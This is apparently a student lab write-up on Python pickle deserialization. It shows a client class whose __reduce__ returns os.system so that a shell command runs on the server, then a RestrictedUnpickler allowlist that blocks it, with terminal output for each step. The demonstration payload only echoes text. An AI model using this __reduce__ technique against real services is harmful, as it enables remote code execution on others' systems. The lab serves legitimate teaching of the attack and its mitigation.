client.py:

```
class surprise(object):
    data = "serialized_data"

    def __reduce__(self):

        # replaced the tuple returned by the overridden
        # __reduce__ command with os.system command that
        # allowed me to run a shell command from Python

        return (os.system, ('echo test_attack',),)

       # encoded = codec.myEncode(self.data);
       # return (codec.myDecode, (encoded,),)

# check if an argument is present
if len(sys.argv) > 1:
    myStr = sys.argv[1]
else:
    myStr = "no_arg"
```

This attack functioned by replacing the intended, approved, and serialized output of the client side with a malicious, non-scrubbed shell command that when read by the decoder on the server side runs and does my bidding

server.py:

```
import os
import pickle
import time
import socket
import signal
import codec
import io

safe_codecs = {'myDecode'}

# create class that is analog to Python's pickle.load()

class RestrictedUnpickler(pickle.Unpickler):
    # ensure that anything that passes into the depickler is from an approved
    # source and that no malicious input is being passed and trusted
```

```
    def find_class(self, module, name):
        if module == "codec" and name in safe_codecs:
            return getattr(codec, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

# function to get data from client, deserialize it, and print it
def server(soc):
    # get the raw data from the client connection
    payload = soc.recv(1024)
    # deserialize the data to an object (expecting string encoded by our codec.py)
    message = restricted_loads(payload)
    # print the string we received
    print("Server Received: %s" % message)
```

The mitigation for this type of attack is fairly simple. Any command that comes to the server side that isn't from a pre approved list of commands is ignored and the error created is handled.

```
user@software-security22:~/Desktop/EXERCISES/3.5_serialization$ python client.py "hamburger"
------------------Start Payload------------------
b'\x80\x04\x95&\x00\x00\x00\x00\x00\x00\x00\x8c\x05codec\x94\x8c\x08myDecode\x94\x93\x94C\thamburger\x94\x85\x94R\x94.'
-------------------End Payload-------------------
----------------Start Received Data---------------
b'Accepted connection from 127.0.0.1:52788'
-----------------End Received Data----------------
user@software-security22:~/Desktop/EXERCISES/3.5_serialization$
```

The harmless word "hamburger" is submitted on the clean, functioning client program

```
user@software-security22:~/Desktop/EXERCISES/3.5_serialization$ python server.py
------------------Server Starting------------------
A connection from 127.0.0.1:52788 is here
Server Received: hamburger
```

The client.py program works as intended with the transmitted word being "hamburger"

```
user@software-security22:~/Desktop/EXERCISES/3.5_serialization$ python server.py
------------------Server Starting------------------
A connection from 127.0.0.1:52798 is here
test_attack
Server Received: 0
```

After the attack was implemented, the command “echo test attack” was forced to run on the server

```
A connection from 127.0.0.1:52790 is here
Server Received: attack attempt
A connection from 127.0.0.1:52792 is here
Traceback (most recent call last):
  File "server.py", line 49, in <module>
    server(clientSoc)
  File "server.py", line 26, in server
    message = restricted_loads(payload)
  File "server.py", line 19, in restricted_loads
    return RestrictedUnpickler(io.BytesIO(s)).load()
  File "server.py", line 16, in find_class
    raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
_pickle.UnpicklingError: global 'posix.system' is forbidden
```

After mitigation procedures were implemented, the attack was caught and returned an error